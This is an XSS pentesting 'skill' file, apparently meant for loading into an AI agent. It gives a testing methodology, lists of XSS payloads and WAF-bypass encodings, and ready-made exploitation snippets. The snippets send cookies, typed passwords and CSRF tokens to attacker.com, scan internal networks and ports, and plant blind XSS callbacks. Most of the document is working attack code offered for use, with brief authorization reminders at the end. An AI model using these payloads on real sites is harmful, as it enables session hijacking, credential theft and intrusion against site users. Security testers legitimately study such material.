Hacktricks-skills xss-pentesting
Cross-Site Scripting (XSS) vulnerability testing and exploitation. Use this skill whenever the user mentions XSS, cross-site scripting, web security testing, JavaScript injection, reflected XSS, stored XSS, DOM XSS, WAF bypass, or any web application security assessment involving script injection. Make sure to use this skill for any XSS-related testing, payload crafting, or vulnerability analysis.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/xss-cross-site-scripting/SKILL.MDXSS Pentesting Skill
A systematic approach to finding and exploiting Cross-Site Scripting vulnerabilities in web applications.
Quick Start Methodology
- Find controllable input - Check parameters, path, headers, cookies for reflection
- Identify the context - Raw HTML, HTML attribute, JavaScript code, or DOM
- Craft the payload - Based on context and any filters in place
- Test and iterate - Try bypasses if initial payloads are blocked
Step 1: Find Reflected Values
Look for user-controlled data being reflected in the page:
- URL parameters:
- check if?search=<test>
appears in response<test> - POST data: Form fields, JSON bodies
- Path segments:
/profile/<username> - Headers: User-Agent, Referer, Custom headers
- Cookies: Set a cookie and check if it appears in page source
Test payload:
<test123> or "<test> - unique strings that are easy to find
Step 2: Identify the Context
Raw HTML Context
Your input appears directly in the HTML body.
Test: Send
<img src=x onerror=alert(1)>
If it works: You have a basic XSS. Try more advanced payloads below.
HTML Attribute Context
Your input is inside an attribute value like
value="<input>" or href="<input>"
Test: Send
" onmouseover="alert(1) - try to break out of the attribute
If you can't break out: Check if the attribute supports JavaScript (href, src, action, formaction)
JavaScript Context
Your input is inside
<script> tags or JavaScript code.
Test: Send
';alert(1);// or ";alert(1);//
If in template literals: Try
${alert(1)}
DOM Context
Your input is used by JavaScript sinks like
innerHTML, document.write(), location.href
Test: Check browser console for errors when sending
?param=<test>
Step 3: Payload Selection by Context
Raw HTML Payloads
<script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <input onfocus=alert(1) autofocus> <marquee onstart=alert(1)> <video><source onerror=alert(1)> <audio src=x onerror=alert(1)>
Attribute Escape Payloads
"><script>alert(1)</script> " onmouseover="alert(1) ' onmouseover='alert(1) " autofocus onfocus=alert(1) x=" " onclick="alert(1) x="
JavaScript String Escape Payloads
';alert(1);// ";alert(1);// \';alert(1)// '-alert(1)-' `';alert(1);//` ${alert(1)}
JavaScript Context Escape
</script><img src=x onerror=alert(1)> </script><script>alert(1)</script>
Step 4: WAF Bypass Techniques
Encoding Bypasses
HTML Entity Encoding:
<script>alert(1)</script> <script>alert(1)</script>
URL Encoding:
%3Cscript%3Ealert(1)%3C/script%3E %3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
Unicode Encoding:
\u003cscript\u003ealert(1)\u003c/script\u003e \u0061lert(1) // alert(1)
Case Variation
<ScRiPt>alert(1)</sCrIpT> <ImG src=x OnErRoR=alert(1)>
Null Byte Injection
<scr\x00ipt>alert(1)</scr\x00ipt> <img src=x on\x00error=alert(1)>
Whitespace Variations
<script>alert(1)</script> <script >alert(1)</script> <script >alert(1)</script> <script >alert(1)</script>
Double Encoding
%253Cscript%253Ealert(1)%253C/script%253E
Comment Injection
<script><!--alert(1)--></script> <script>/*alert(1)*/</script>
Event Handler Bypasses
<svg/onload=alert(1)> <svg%09onload=alert(1)> <svg%0Aonload=alert(1)> <svg%0Donload=alert(1)> <svg onload%09=alert(1)> <svg onload%20=alert(1)>
String Construction Bypasses
String.fromCharCode(97,108,101,114,116)(1) // alert(1) String.fromCharCode(115,99,114,105,112,116) // script
Function Call Bypasses (No Parentheses)
alert`1` [1].find(alert) [].sort.call`${alert}1` Reflect.apply.call`${alert}${window}${[1]}`
Step 5: Advanced Exploitation
Cookie Stealing
<img src=x onerror="location='http://attacker.com/?c='+document.cookie"> <script>new Image().src='http://attacker.com/?c='+document.cookie</script> <script>fetch('http://attacker.com/?c='+document.cookie)</script>
Credential Harvesting
const DoLogin = () => { const pwd = document.querySelector('input[type=password]').value; const user = document.querySelector('input[type=text]').value; fetch('http://attacker.com/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); };
CSRF Token Theft
var req = new XMLHttpRequest(); req.onload = function() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; fetch('http://attacker.com/?token='+token); }; req.open('get', '/protected-page', true); req.send();
Internal Network Discovery
for(i=1; i<=255; i++) { fetch('http://192.168.0.'+i).then(()=>{ fetch('http://attacker.com/?ip=192.168.0.'+i); }); }
Port Scanning
for(let i=1; i<=1000; i++) { fetch('http://localhost:'+i, {mode: 'no-cors'}).then(()=>{ fetch('http://attacker.com/?port='+i); }); }
Step 6: Special Cases
SVG Upload XSS
<svg xmlns="http://www.w3.org/2000/svg"> <script>alert(1)</script> </svg>
Data URI XSS
<a href="data:text/html,<script>alert(1)</script>">Click</a> <iframe src="data:text/html,<script>alert(1)</script>"></iframe>
JavaScript Protocol XSS
<a href="javascript:alert(1)">Click</a> <form action="javascript:alert(1)"><button>Submit</button></form>
Blind XSS (for later callback)
<img src=x onerror="fetch('http://attacker.com/?xss='+document.cookie)"> <script>fetch('http://attacker.com/?xss='+document.domain)</script>
PostMessage XSS
window.parent.postMessage('xss', '*'); window.addEventListener('message', (e) => { alert(e.data); });
Step 7: Testing Workflow
- Reconnaissance: Map all input points (URL params, forms, headers, cookies)
- Initial Testing: Send
to each input, check for reflection<test> - Context Identification: Determine where input is reflected
- Payload Testing: Try context-appropriate payloads
- Bypass Testing: If blocked, try encoding, case variation, null bytes
- Exploitation: Craft payload for your goal (cookie theft, credential harvest, etc.)
- Documentation: Record findings with proof-of-concept
Common Tools
- Burp Suite: Intruder for payload testing, Repeater for manual testing
- XSS Hunter: Blind XSS detection service
- Browser DevTools: Console for testing, Network tab for monitoring
- Custom scripts: For automated payload testing
Safety Notes
- Only test systems you have authorization to test
- Use test payloads like
before destructive payloadsalert(1) - Document all findings for responsible disclosure
- Be aware of rate limiting and don't overwhelm targets